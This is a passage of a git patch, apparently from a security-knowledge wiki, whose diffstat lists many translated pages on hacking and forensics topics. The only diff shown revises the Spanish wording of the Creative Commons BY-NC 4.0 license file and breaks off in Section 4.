From 08d1db07a23d01591914b70eb466f2c6ffaa7bb3 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 12:04:13 +0000 Subject: [PATCH] Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md --- src/LICENSE.md | 80 +- src/README.md | 10 +- src/SUMMARY.md | 1 + src/android-forensics.md | 2 +- src/backdoors/icmpsh.md | 20 +- src/backdoors/salseo.md | 110 +- src/banners/hacktricks-training.md | 12 +- .../arbitrary-write-2-exec/README.md | 4 +- .../aw2exec-__malloc_hook.md | 48 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 64 +- .../www2exec-.dtors-and-.fini_array.md | 38 +- .../arbitrary-write-2-exec/www2exec-atexit.md | 284 +- src/binary-exploitation/array-indexing.md | 16 +- .../README.md | 138 +- .../elf-tricks.md | 418 ++- .../tools/README.md | 126 +- .../tools/pwntools.md | 130 +- .../README.md | 26 +- .../aslr/README.md | 226 +- .../aslr/ret2plt.md | 58 +- .../aslr/ret2ret.md | 20 +- .../cet-and-shadow-stack.md | 18 +- .../libc-protections.md | 86 +- .../memory-tagging-extension-mte.md | 70 +- .../no-exec-nx.md | 12 +- .../pie/README.md | 24 +- .../pie/bypassing-canary-and-pie.md | 78 +- .../relro.md | 20 +- .../stack-canaries/README.md | 52 +- .../bf-forked-stack-canaries.md | 126 +- .../stack-canaries/print-stack-canary.md | 24 +- .../common-exploiting-problems.md | 18 +- .../format-strings/README.md | 172 +- .../format-strings-arbitrary-read-example.md | 146 +- .../format-strings/format-strings-template.md | 92 +- src/binary-exploitation/integer-overflow.md | 110 +- src/binary-exploitation/ios-exploiting.md | 287 +- src/binary-exploitation/libc-heap/README.md | 434 ++- .../libc-heap/bins-and-memory-allocations.md | 528 ++-- .../libc-heap/double-free.md | 160 +- .../libc-heap/fast-bin-attack.md | 152 +- .../libc-heap/heap-memory-functions/README.md | 2 +- .../libc-heap/heap-memory-functions/free.md | 486 ++-- .../heap-functions-security-checks.md | 218 +- .../malloc-and-sysmalloc.md | 2438 ++++++++--------- .../libc-heap/heap-memory-functions/unlink.md | 102 +- .../libc-heap/heap-overflow.md | 44 +- .../libc-heap/house-of-einherjar.md | 60 +- .../libc-heap/house-of-force.md | 68 +- .../libc-heap/house-of-lore.md | 56 +- .../libc-heap/house-of-orange.md | 80 +- .../libc-heap/house-of-rabbit.md | 84 +- .../libc-heap/house-of-roman.md | 100 +- .../libc-heap/house-of-spirit.md | 122 +- .../libc-heap/large-bin-attack.md | 58 +- .../libc-heap/off-by-one-overflow.md | 148 +- .../libc-heap/overwriting-a-freed-chunk.md | 20 +- .../libc-heap/tcache-bin-attack.md | 48 +- .../libc-heap/unlink-attack.md | 150 +- .../libc-heap/unsorted-bin-attack.md | 92 +- .../libc-heap/use-after-free/README.md | 14 +- .../libc-heap/use-after-free/first-fit.md | 44 +- .../rop-return-oriented-programing/README.md | 140 +- .../brop-blind-return-oriented-programming.md | 120 +- .../rop-return-oriented-programing/ret2csu.md | 78 +- .../ret2dlresolve.md | 48 +- .../ret2esp-ret2reg.md | 90 +- .../ret2lib/README.md | 116 +- .../ret2lib/one-gadget.md | 20 +- .../ret2lib/ret2lib-+-printf-leak-arm64.md | 124 +- .../rop-leaking-libc-address/README.md | 248 +- .../rop-leaking-libc-template.md | 212 +- .../ret2vdso.md | 16 +- .../rop-syscall-execv/README.md | 66 +- .../rop-syscall-execv/ret2syscall-arm64.md | 60 +- .../README.md | 42 +- .../srop-arm64.md | 80 +- .../stack-overflow/README.md | 64 +- .../stack-overflow/pointer-redirecting.md | 20 +- .../stack-overflow/ret2win/README.md | 80 +- .../stack-overflow/ret2win/ret2win-arm64.md | 72 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 164 +- .../stack-overflow/stack-shellcode/README.md | 64 +- .../stack-shellcode/stack-shellcode-arm64.md | 32 +- .../stack-overflow/uninitialized-variables.md | 68 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 154 +- .../README.md | 180 +- .../blockchain-and-crypto-currencies.md | 180 +- src/crypto-and-stego/certificates.md | 200 +- .../cipher-block-chaining-cbc-mac-priv.md | 44 +- src/crypto-and-stego/crypto-ctfs-tricks.md | 172 +- .../cryptographic-algorithms/README.md | 144 +- .../unpacking-binaries.md | 33 +- .../electronic-code-book-ecb.md | 68 +- src/crypto-and-stego/esoteric-languages.md | 10 +- .../hash-length-extension-attack.md | 40 +- src/crypto-and-stego/padding-oracle-priv.md | 79 +- .../rc4-encrypt-and-decrypt.md | 4 +- src/crypto-and-stego/stego-tricks.md | 140 +- src/cryptography/certificates.md | 184 +- .../cipher-block-chaining-cbc-mac-priv.md | 44 +- src/cryptography/crypto-ctfs-tricks.md | 174 +- src/cryptography/electronic-code-book-ecb.md | 68 +- .../hash-length-extension-attack.md | 40 +- src/cryptography/padding-oracle-priv.md | 84 +- src/cryptography/rc4-encrypt-and-decrypt.md | 4 +- src/emails-vulns.md | 3 +- .../linux-exploiting-basic-esp/README.md | 48 +- .../linux-exploiting-basic-esp/fusion.md | 10 +- src/exploiting/tools/README.md | 126 +- src/exploiting/tools/pwntools.md | 130 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 154 +- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 144 +- .../docker-forensics.md | 76 +- .../file-integrity-monitoring.md | 20 +- .../linux-forensics.md | 362 +-- .../malware-analysis.md | 110 +- .../memory-dump-analysis/README.md | 34 +- .../partitions-file-systems-carving/README.md | 242 +- .../file-data-carving-recovery-tools.md | 64 +- .../file-data-carving-tools.md | 44 +- .../pcap-inspection/README.md | 120 +- .../usb-keyboard-pcap-analysis.md | 8 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 26 +- .../.pyc.md | 152 +- .../README.md | 2 +- .../browser-artifacts.md | 184 +- .../desofuscation-vbs-cscript.exe.md | 42 +- .../local-cloud-storage.md | 115 +- .../office-file-analysis.md | 30 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 24 +- .../zips-tricks.md | 20 +- .../windows-forensics/README.md | 487 ++-- .../interesting-windows-registry-keys.md | 100 +- .../windows-forensics/windows-processes.md | 94 +- src/generic-hacking/brute-force.md | 368 +-- src/generic-hacking/exfiltration.md | 138 +- src/generic-hacking/reverse-shells/README.md | 2 +- .../expose-local-to-the-internet.md | 32 +- .../reverse-shells/full-ttys.md | 50 +- src/generic-hacking/reverse-shells/linux.md | 212 +- .../reverse-shells/msfvenom.md | 120 +- src/generic-hacking/reverse-shells/windows.md | 290 +- src/generic-hacking/search-exploits.md | 41 +- .../tunneling-and-port-forwarding.md | 314 +-- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 146 +- .../docker-forensics.md | 76 +- .../file-integrity-monitoring.md | 20 +- .../image-acquisition-and-mount.md | 47 +- .../linux-forensics.md | 362 +-- .../malware-analysis.md | 110 +- .../memory-dump-analysis/README.md | 34 +- .../volatility-cheatsheet.md | 344 +-- .../partitions-file-systems-carving/README.md | 244 +- .../file-data-carving-recovery-tools.md | 64 +- .../pcap-inspection/README.md | 124 +- .../pcap-inspection/dnscat-exfiltration.md | 28 +- .../suricata-and-iptables-cheatsheet.md | 116 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 28 +- .../pcap-inspection/wireshark-tricks.md | 118 +- .../.pyc.md | 152 +- .../README.md | 2 +- .../browser-artifacts.md | 183 +- .../desofuscation-vbs-cscript.exe.md | 42 +- .../local-cloud-storage.md | 115 +- .../office-file-analysis.md | 30 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 12 +- .../zips-tricks.md | 20 +- .../windows-forensics/README.md | 498 ++-- .../interesting-windows-registry-keys.md | 100 +- .../external-recon-methodology/README.md | 536 ++-- .../github-leaked-secrets.md | 11 +- .../wide-source-code-search.md | 18 +- .../pentesting-methodology.md | 140 +- .../pentesting-network/README.md | 584 ++-- .../pentesting-network/dhcpv6.md | 58 +- .../pentesting-network/eigrp-attacks.md | 94 +- .../glbp-and-hsrp-attacks.md | 156 +- .../pentesting-network/ids-evasion.md | 56 +- .../lateral-vlan-segmentation-bypass.md | 38 +- .../network-protocols-explained-esp.md | 42 +- .../pentesting-network/nmap-summary-esp.md | 253 +- .../pentesting-network/pentesting-ipv6.md | 114 +- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 110 +- .../spoofing-ssdp-and-upnp-devices.md | 32 +- .../pentesting-network/webrtc-dos.md | 36 +- .../pentesting-wifi/README.md | 619 ++--- .../pentesting-wifi/evil-twin-eap-tls.md | 36 +- .../phishing-methodology/README.md | 394 ++- .../phishing-methodology/clone-a-website.md | 22 +- .../phishing-methodology/detecting-phising.md | 64 +- .../phishing-documents.md | 164 +- .../python/README.md | 29 +- .../python/basic-python.md | 308 +-- .../python/bruteforce-hash-few-chars.md | 52 +- .../python/bypass-python-sandboxes/README.md | 735 +++-- .../load_name-load_const-opcode-oob-read.md | 230 +- ...s-pollution-pythons-prototype-pollution.md | 208 +- .../python/pyscript.md | 222 +- .../python/python-internal-read-gadgets.md | 30 +- .../python/venv.md | 18 - .../python/web-requests.md | 75 +- .../threat-modeling.md | 96 +- .../escaping-from-gui-applications.md | 326 +-- .../firmware-analysis/README.md | 214 +- .../firmware-analysis/bootloader-testing.md | 62 +- .../firmware-analysis/firmware-integrity.md | 38 +- .../physical-attacks.md | 54 +- src/interesting-http.md | 25 +- .../bypass-bash-restrictions/README.md | 90 +- .../README.md | 83 +- .../ddexec.md | 76 +- src/linux-hardening/freeipa-pentesting.md | 112 +- .../linux-environment-variables.md | 90 +- .../linux-post-exploitation/README.md | 44 +- .../pam-pluggable-authentication-modules.md | 46 +- .../linux-privilege-escalation-checklist.md | 214 +- .../privilege-escalation/README.md | 78 +- .../privilege-escalation/cisco-vmanage.md | 46 +- .../containerd-ctr-privilege-escalation.md | 28 +- ...-command-injection-privilege-escalation.md | 456 ++- .../docker-security/README.md | 15 +- ...-docker-socket-for-privilege-escalation.md | 12 +- .../docker-security/apparmor.md | 8 +- ...uthn-docker-access-authorization-plugin.md | 14 +- .../docker-security/cgroups.md | 10 +- .../README.md | 6 +- .../docker-release_agent-cgroups-escape.md | 2 +- ...se_agent-exploit-relative-paths-to-pids.md | 4 +- .../sensitive-mounts.md | 8 +- .../docker-security/docker-privileged.md | 6 +- .../namespaces/cgroup-namespace.md | 6 +- .../namespaces/ipc-namespace.md | 16 +- .../namespaces/mount-namespace.md | 2 +- .../namespaces/network-namespace.md | 4 +- .../namespaces/pid-namespace.md | 4 +- .../namespaces/time-namespace.md | 6 +- .../namespaces/user-namespace.md | 2 +- .../namespaces/uts-namespace.md | 2 +- .../docker-security/seccomp.md | 8 +- .../docker-security/weaponizing-distroless.md | 4 +- .../electron-cef-chromium-debugger-abuse.md | 116 +- .../escaping-from-limited-bash.md | 168 +- .../privilege-escalation/euid-ruid-suid.md | 192 +- .../interesting-groups-linux-pe/README.md | 10 +- .../lxd-privilege-escalation.md | 2 +- .../ld.so.conf-example.md | 4 +- .../linux-active-directory.md | 6 +- .../linux-capabilities.md | 56 +- .../privilege-escalation/logstash.md | 2 +- .../nfs-no_root_squash-misconfiguration-pe.md | 10 +- .../payloads-to-execute.md | 2 +- .../runc-privilege-escalation.md | 2 +- .../privilege-escalation/selinux.md | 2 +- .../socket-command-injection.md | 4 +- .../splunk-lpe-and-persistence.md | 6 +- .../ssh-forward-agent-exploitation.md | 2 +- .../wildcards-spare-tricks.md | 2 +- src/linux-hardening/useful-linux-commands.md | 48 +- .../bypass-bash-restrictions.md | 4 +- .../privilege-escalation/exploiting-yum.md | 6 +- .../interesting-groups-linux-pe.md | 4 +- .../macos-auto-start-locations.md | 88 +- .../macos-red-teaming/README.md | 14 +- .../macos-red-teaming/macos-keychain.md | 4 +- .../macos-red-teaming/macos-mdm/README.md | 20 +- ...nrolling-devices-in-other-organisations.md | 2 +- .../README.md | 4 +- .../macos-function-hooking.md | 14 +- .../mac-os-architecture/macos-iokit.md | 12 +- .../macos-applefs.md | 4 +- .../macos-basic-objective-c.md | 2 +- .../macos-defensive-apps.md | 4 +- .../macos-gcd-grand-central-dispatch.md | 6 +- .../macos-privilege-escalation.md | 4 +- src/online-platforms-with-api.md | 75 +- src/other-web-tricks.md | 42 +- src/pentesting-dns.md | 6 +- .../hacking-jwt-json-web-tokens.md | 18 +- src/post-exploitation.md | 16 +- ...itive-information-disclosure-from-a-web.md | 14 +- 289 files changed, 12975 insertions(+), 16472 deletions(-) diff --git a/src/LICENSE.md b/src/LICENSE.md index bd800ea5c..027f8e2ec 100644 --- a/src/LICENSE.md +++ b/src/LICENSE.md @@ -17,83 +17,83 @@ Creative Commons Corporation (“Creative Commons”) no es un bufete de abogado Las licencias públicas de Creative Commons proporcionan un conjunto estándar de términos y condiciones que los creadores y otros titulares de derechos pueden usar para compartir obras originales de autoría y otro material sujeto a derechos de autor y ciertos otros derechos especificados en la licencia pública a continuación. Las siguientes consideraciones son solo para fines informativos, no son exhaustivas y no forman parte de nuestras licencias. -- **Consideraciones para licenciantes:** Nuestras licencias públicas están destinadas a ser utilizadas por aquellos autorizados para dar al público permiso para usar material de maneras que de otro modo estarían restringidas por derechos de autor y ciertos otros derechos. Nuestras licencias son irrevocables. Los licenciantes deben leer y comprender los términos y condiciones de la licencia que elijan antes de aplicarla. Los licenciantes también deben asegurar todos los derechos necesarios antes de aplicar nuestras licencias para que el público pueda reutilizar el material como se espera. Los licenciantes deben marcar claramente cualquier material que no esté sujeto a la licencia. Esto incluye otro material con licencia CC, o material utilizado bajo una excepción o limitación a los derechos de autor. [Más consideraciones para licenciantes](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). +- **Consideraciones para licenciantes:** Nuestras licencias públicas están destinadas a ser utilizadas por aquellos autorizados para dar al público permiso para usar material de maneras que de otro modo estarían restringidas por derechos de autor y ciertos otros derechos. Nuestras licencias son irrevocables. Los licenciantes deben leer y comprender los términos y condiciones de la licencia que elijan antes de aplicarla. Los licenciantes también deben asegurar todos los derechos necesarios antes de aplicar nuestras licencias para que el público pueda reutilizar el material como se espera. Los licenciantes deben marcar claramente cualquier material que no esté sujeto a la licencia. Esto incluye otro material con licencia CC, o material utilizado bajo una excepción o limitación al derecho de autor. [Más consideraciones para licenciantes](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). -- **Consideraciones para el público:** Al usar una de nuestras licencias públicas, un licenciante otorga al público permiso para usar el material licenciado bajo términos y condiciones especificados. Si el permiso del licenciante no es necesario por alguna razón, por ejemplo, debido a alguna excepción o limitación aplicable a los derechos de autor, entonces ese uso no está regulado por la licencia. Nuestras licencias otorgan solo permisos bajo derechos de autor y ciertos otros derechos que un licenciante tiene autoridad para otorgar. El uso del material licenciado aún puede estar restringido por otras razones, incluyendo porque otros tienen derechos de autor u otros derechos sobre el material. Un licenciante puede hacer solicitudes especiales, como pedir que todos los cambios sean marcados o descritos. Aunque no es requerido por nuestras licencias, se le anima a respetar esas solicitudes cuando sea razonable. [Más consideraciones para el público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). +- **Consideraciones para el público:** Al usar una de nuestras licencias públicas, un licenciante otorga al público permiso para usar el material licenciado bajo términos y condiciones especificados. Si el permiso del licenciante no es necesario por alguna razón, por ejemplo, debido a alguna excepción o limitación aplicable al derecho de autor, entonces ese uso no está regulado por la licencia. Nuestras licencias otorgan solo permisos bajo derechos de autor y ciertos otros derechos que un licenciante tiene autoridad para otorgar. El uso del material licenciado aún puede estar restringido por otras razones, incluyendo porque otros tienen derechos de autor u otros derechos sobre el material. Un licenciante puede hacer solicitudes especiales, como pedir que todos los cambios sean marcados o descritos. Aunque no es requerido por nuestras licencias, se le anima a respetar esas solicitudes cuando sea razonable. [Más consideraciones para el público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). # Licencia Pública de Atribución-NoComercial 4.0 Internacional de Creative Commons -Al ejercer los Derechos Licenciados (definidos a continuación), Usted acepta y se compromete a cumplir con los términos y condiciones de esta Licencia Pública de Atribución-NoComercial 4.0 Internacional ("Licencia Pública"). En la medida en que esta Licencia Pública pueda interpretarse como un contrato, se le otorgan los Derechos Licenciados en consideración a su aceptación de estos términos y condiciones, y el Licenciante le otorga tales derechos en consideración a los beneficios que el Licenciante recibe al hacer el Material Licenciado disponible bajo estos términos y condiciones. +Al ejercer los Derechos Licenciados (definidos a continuación), Aceptas y acuerdas estar sujeto a los términos y condiciones de esta Licencia Pública de Atribución-NoComercial 4.0 Internacional ("Licencia Pública"). En la medida en que esta Licencia Pública pueda interpretarse como un contrato, se te otorgan los Derechos Licenciados en consideración a tu aceptación de estos términos y condiciones, y el Licenciante te otorga tales derechos en consideración a los beneficios que el Licenciante recibe al hacer el Material Licenciado disponible bajo estos términos y condiciones. ## Sección 1 – Definiciones. a. **Material Adaptado** significa material sujeto a Derechos de Autor y Derechos Similares que se deriva de o se basa en el Material Licenciado y en el que el Material Licenciado es traducido, alterado, arreglado, transformado o modificado de otra manera de una manera que requiere permiso bajo los Derechos de Autor y Derechos Similares que posee el Licenciante. A efectos de esta Licencia Pública, donde el Material Licenciado es una obra musical, actuación o grabación de sonido, el Material Adaptado siempre se produce donde el Material Licenciado está sincronizado en relación temporal con una imagen en movimiento. -b. **Licencia del Adaptador** significa la licencia que Usted aplica a sus Derechos de Autor y Derechos Similares en sus contribuciones al Material Adaptado de acuerdo con los términos y condiciones de esta Licencia Pública. +b. **Licencia del Adaptador** significa la licencia que aplicas a tus Derechos de Autor y Derechos Similares en tus contribuciones al Material Adaptado de acuerdo con los términos y condiciones de esta Licencia Pública. -c. **Derechos de Autor y Derechos Similares** significa derechos de autor y/o derechos similares estrechamente relacionados con derechos de autor, incluyendo, sin limitación, actuación, transmisión, grabación de sonido y Derechos de Base de Datos Sui Generis, sin importar cómo se etiqueten o clasifiquen los derechos. A efectos de esta Licencia Pública, los derechos especificados en la Sección 2(b)(1)-(2) no son Derechos de Autor y Derechos Similares. +c. **Derechos de Autor y Derechos Similares** significa derechos de autor y/o derechos similares estrechamente relacionados con derechos de autor incluyendo, sin limitación, actuación, transmisión, grabación de sonido y Derechos de Base de Datos Sui Generis, sin importar cómo se etiqueten o clasifiquen los derechos. A efectos de esta Licencia Pública, los derechos especificados en la Sección 2(b)(1)-(2) no son Derechos de Autor y Derechos Similares. -d. **Medidas Tecnológicas Efectivas** significa aquellas medidas que, en ausencia de la autoridad adecuada, no pueden ser eludidas bajo leyes que cumplen con las obligaciones bajo el Artículo 11 del Tratado de Derechos de Autor de la OMPI adoptado el 20 de diciembre de 1996, y/o acuerdos internacionales similares. +d. **Medidas Tecnológicas Efectivas** significa aquellas medidas que, en ausencia de la autoridad adecuada, no pueden ser eludidas bajo leyes que cumplen obligaciones bajo el Artículo 11 del Tratado de Derechos de Autor de la OMPI adoptado el 20 de diciembre de 1996, y/o acuerdos internacionales similares. -e. **Excepciones y Limitaciones** significa uso justo, trato justo y/o cualquier otra excepción o limitación a los Derechos de Autor y Derechos Similares que se aplique a su uso del Material Licenciado. +e. **Excepciones y Limitaciones** significa uso justo, trato justo y/o cualquier otra excepción o limitación a los Derechos de Autor y Derechos Similares que se aplica a tu uso del Material Licenciado. f. **Material Licenciado** significa la obra artística o literaria, base de datos u otro material al que el Licenciante aplicó esta Licencia Pública. -g. **Derechos Licenciados** significa los derechos que se le otorgan a Usted sujetos a los términos y condiciones de esta Licencia Pública, que se limitan a todos los Derechos de Autor y Derechos Similares que se aplican a su uso del Material Licenciado y que el Licenciante tiene autoridad para licenciar. +g. **Derechos Licenciados** significa los derechos otorgados a ti sujetos a los términos y condiciones de esta Licencia Pública, que se limitan a todos los Derechos de Autor y Derechos Similares que se aplican a tu uso del Material Licenciado y que el Licenciante tiene autoridad para licenciar. h. **Licenciante** significa la(s) persona(s) o entidad(s) que otorgan derechos bajo esta Licencia Pública. i. **NoComercial** significa no destinado principalmente a o dirigido hacia ventaja comercial o compensación monetaria. A efectos de esta Licencia Pública, el intercambio del Material Licenciado por otro material sujeto a Derechos de Autor y Derechos Similares mediante intercambio de archivos digitales o medios similares es NoComercial siempre que no haya pago de compensación monetaria en relación con el intercambio. -j. **Compartir** significa proporcionar material al público por cualquier medio o proceso que requiera permiso bajo los Derechos Licenciados, como reproducción, exhibición pública, actuación pública, distribución, difusión, comunicación o importación, y hacer material disponible al público, incluyendo de maneras que los miembros del público puedan acceder al material desde un lugar y en un momento elegidos individualmente por ellos. +j. **Compartir** significa proporcionar material al público por cualquier medio o proceso que requiera permiso bajo los Derechos Licenciados, como reproducción, exhibición pública, actuación pública, distribución, difusión, comunicación o importación, y hacer material disponible al público incluyendo de maneras que los miembros del público puedan acceder al material desde un lugar y en un momento elegidos individualmente por ellos. k. **Derechos de Base de Datos Sui Generis** significa derechos distintos de los derechos de autor que resultan de la Directiva 96/9/CE del Parlamento Europeo y del Consejo de 11 de marzo de 1996 sobre la protección legal de las bases de datos, según enmendada y/o sucedida, así como otros derechos esencialmente equivalentes en cualquier parte del mundo. -l. **Usted** significa la persona o entidad que ejerce los Derechos Licenciados bajo esta Licencia Pública. Su tiene un significado correspondiente. +l. **Tú** significa la persona o entidad que ejerce los Derechos Licenciados bajo esta Licencia Pública. Tu tiene un significado correspondiente. ## Sección 2 – Alcance. a. **_Concesión de licencia._** -1. Sujeto a los términos y condiciones de esta Licencia Pública, el Licenciante por la presente le otorga a Usted una licencia mundial, libre de regalías, no sublicenciable, no exclusiva e irrevocable para ejercer los Derechos Licenciados en el Material Licenciado para: +1. Sujeto a los términos y condiciones de esta Licencia Pública, el Licenciante por la presente te otorga una licencia mundial, libre de regalías, no sublicenciable, no exclusiva, irrevocable para ejercer los Derechos Licenciados en el Material Licenciado para: A. reproducir y Compartir el Material Licenciado, en su totalidad o en parte, solo para fines NoComerciales; y B. producir, reproducir y Compartir Material Adaptado solo para fines NoComerciales. -2. **Excepciones y Limitaciones.** Para evitar dudas, donde se apliquen Excepciones y Limitaciones a su uso, esta Licencia Pública no se aplica, y no necesita cumplir con sus términos y condiciones. +2. **Excepciones y Limitaciones.** Para evitar dudas, donde se apliquen Excepciones y Limitaciones a tu uso, esta Licencia Pública no se aplica, y no necesitas cumplir con sus términos y condiciones. 3. **Plazo.** El plazo de esta Licencia Pública se especifica en la Sección 6(a). -4. **Medios y formatos; modificaciones técnicas permitidas.** El Licenciante le autoriza a ejercer los Derechos Licenciados en todos los medios y formatos, ya sean conocidos ahora o creados en el futuro, y a hacer modificaciones técnicas necesarias para hacerlo. El Licenciante renuncia y/o acuerda no afirmar ningún derecho o autoridad para prohibirle hacer modificaciones técnicas necesarias para ejercer los Derechos Licenciados, incluyendo modificaciones técnicas necesarias para eludir Medidas Tecnológicas Efectivas. A efectos de esta Licencia Pública, simplemente hacer modificaciones autorizadas por esta Sección 2(a)(4) nunca produce Material Adaptado. +4. **Medios y formatos; modificaciones técnicas permitidas.** El Licenciante te autoriza a ejercer los Derechos Licenciados en todos los medios y formatos, ya sean conocidos ahora o creados en el futuro, y a hacer modificaciones técnicas necesarias para hacerlo. El Licenciante renuncia y/o acuerda no afirmar ningún derecho o autoridad para prohibirte hacer modificaciones técnicas necesarias para ejercer los Derechos Licenciados, incluyendo modificaciones técnicas necesarias para eludir Medidas Tecnológicas Efectivas. A efectos de esta Licencia Pública, simplemente hacer modificaciones autorizadas por esta Sección 2(a)(4) nunca produce Material Adaptado. 5. **Destinatarios posteriores.** A. **Oferta del Licenciante – Material Licenciado.** Cada destinatario del Material Licenciado recibe automáticamente una oferta del Licenciante para ejercer los Derechos Licenciados bajo los términos y condiciones de esta Licencia Pública. -B. **Sin restricciones posteriores.** No puede ofrecer ni imponer términos o condiciones adicionales o diferentes sobre, ni aplicar Medidas Tecnológicas Efectivas al, Material Licenciado si hacerlo restringe el ejercicio de los Derechos Licenciados por cualquier destinatario del Material Licenciado. +B. **Sin restricciones posteriores.** No puedes ofrecer o imponer términos o condiciones adicionales o diferentes sobre, o aplicar Medidas Tecnológicas Efectivas al, Material Licenciado si hacerlo restringe el ejercicio de los Derechos Licenciados por cualquier destinatario del Material Licenciado. -6. **Sin respaldo.** Nada en esta Licencia Pública constituye o puede interpretarse como permiso para afirmar o implicar que Usted está, o que su uso del Material Licenciado está, conectado con, o patrocinado, respaldado o concedido estatus oficial por, el Licenciante u otros designados para recibir atribución como se proporciona en la Sección 3(a)(1)(A)(i). +6. **Sin respaldo.** Nada en esta Licencia Pública constituye o puede interpretarse como permiso para afirmar o implicar que tú eres, o que tu uso del Material Licenciado es, conectado con, o patrocinado, respaldado o concedido estatus oficial por, el Licenciante u otros designados para recibir atribución como se proporciona en la Sección 3(a)(1)(A)(i). b. **_Otros derechos._** -1. Los derechos morales, como el derecho de integridad, no están licenciados bajo esta Licencia Pública, ni tampoco los derechos de publicidad, privacidad y/o otros derechos de personalidad similares; sin embargo, en la medida de lo posible, el Licenciante renuncia y/o acuerda no afirmar tales derechos que posee el Licenciante en la medida limitada necesaria para permitirle ejercer los Derechos Licenciados, pero no de otra manera. +1. Los derechos morales, como el derecho de integridad, no están licenciados bajo esta Licencia Pública, ni tampoco los derechos de publicidad, privacidad y/o otros derechos de personalidad similares; sin embargo, en la medida de lo posible, el Licenciante renuncia y/o acuerda no afirmar tales derechos que posee el Licenciante en la medida limitada necesaria para permitirte ejercer los Derechos Licenciados, pero no de otra manera. 2. Los derechos de patente y marca no están licenciados bajo esta Licencia Pública. -3. En la medida de lo posible, el Licenciante renuncia a cualquier derecho a cobrar regalías de Usted por el ejercicio de los Derechos Licenciados, ya sea directamente o a través de una sociedad de gestión bajo cualquier esquema de licencia voluntaria o renunciable o de licencia obligatoria. En todos los demás casos, el Licenciante se reserva expresamente cualquier derecho a cobrar tales regalías, incluyendo cuando el Material Licenciado se utiliza de otra manera que no sea para fines NoComerciales. +3. En la medida de lo posible, el Licenciante renuncia a cualquier derecho a cobrar regalías de ti por el ejercicio de los Derechos Licenciados, ya sea directamente o a través de una sociedad de gestión bajo cualquier esquema de licencia voluntaria o renunciable o de licencia obligatoria. En todos los demás casos, el Licenciante se reserva expresamente cualquier derecho a cobrar tales regalías, incluyendo cuando el Material Licenciado se utiliza de otra manera que no sea para fines NoComerciales. ## Sección 3 – Condiciones de la Licencia. -Su ejercicio de los Derechos Licenciados está expresamente sujeto a las siguientes condiciones. +Tu ejercicio de los Derechos Licenciados está expresamente sujeto a las siguientes condiciones. a. **_Atribución._** -1. Si Usted Comparte el Material Licenciado (incluyendo en forma modificada), debe: +1. Si Compartes el Material Licenciado (incluyendo en forma modificada), debes: A. retener lo siguiente si es proporcionado por el Licenciante con el Material Licenciado: i. identificación del creador(es) del Material Licenciado y cualquier otro designado para recibir atribución, de cualquier manera razonable solicitada por el Licenciante (incluyendo por seudónimo si se designa); -ii. un aviso de derechos de autor; +ii. un aviso de copyright; iii. un aviso que se refiera a esta Licencia Pública; @@ -101,47 +101,47 @@ iv. un aviso que se refiera a la renuncia de garantías; v. un URI o hipervínculo al Material Licenciado en la medida razonablemente práctica; -B. indicar si Usted modificó el Material Licenciado y retener una indicación de cualquier modificación previa; y +B. indicar si modificaste el Material Licenciado y retener una indicación de cualquier modificación previa; y C. indicar que el Material Licenciado está licenciado bajo esta Licencia Pública, e incluir el texto de, o el URI o hipervínculo a, esta Licencia Pública. -2. Puede satisfacer las condiciones en la Sección 3(a)(1) de cualquier manera razonable basada en el medio, los medios y el contexto en el que Usted Comparte el Material Licenciado. Por ejemplo, puede ser razonable satisfacer las condiciones proporcionando un URI o hipervínculo a un recurso que incluya la información requerida. +2. Puedes satisfacer las condiciones en la Sección 3(a)(1) de cualquier manera razonable basada en el medio, los medios y el contexto en el que Compartes el Material Licenciado. Por ejemplo, puede ser razonable satisfacer las condiciones proporcionando un URI o hipervínculo a un recurso que incluya la información requerida. -3. Si lo solicita el Licenciante, debe eliminar cualquiera de la información requerida por la Sección 3(a)(1)(A) en la medida razonablemente práctica. +3. Si lo solicita el Licenciante, debes eliminar cualquier información requerida por la Sección 3(a)(1)(A) en la medida razonablemente práctica. -4. Si Usted Comparte Material Adaptado que produce, la Licencia del Adaptador que aplica no debe impedir que los destinatarios del Material Adaptado cumplan con esta Licencia Pública. +4. Si Compartes Material Adaptado que produces, la Licencia del Adaptador que aplicas no debe impedir que los destinatarios del Material Adaptado cumplan con esta Licencia Pública. ## Sección 4 – Derechos de Base de Datos Sui Generis. -Donde los Derechos Licenciados incluyen Derechos de Base de Datos Sui Generis que se aplican a su uso del Material Licenciado: +Donde los Derechos Licenciados incluyen Derechos de Base de Datos Sui Generis que se aplican a tu uso del Material Licenciado: -a. para evitar dudas, la Sección 2(a)(1) le otorga el derecho a extraer, reutilizar, reproducir y Compartir todo o una parte sustancial del contenido de la base de datos solo para fines NoComerciales; +a. para evitar dudas, la Sección 2(a)(1) te otorga el derecho a extraer, reutilizar, reproducir y Compartir todo o una parte sustancial del contenido de la base de datos solo para fines NoComerciales; -b. si Usted incluye todo o una parte sustancial del contenido de la base de datos en una base de datos en la que tiene Derechos de Base de Datos Sui Generis, entonces la base de datos en la que tiene Derechos de Base de Datos Sui Generis (pero no su contenido individual) es Material Adaptado; y +b. si incluyes todo o una parte sustancial del contenido de la base de datos en una base de datos en la que tienes Derechos de Base de Datos Sui Generis, entonces la base de datos en la que tienes Derechos de Base de Datos Sui Generis (pero no su contenido individual) es Material Adaptado; y -c. Debe cumplir con las condiciones en la Sección 3(a) si Usted Comparte todo o una 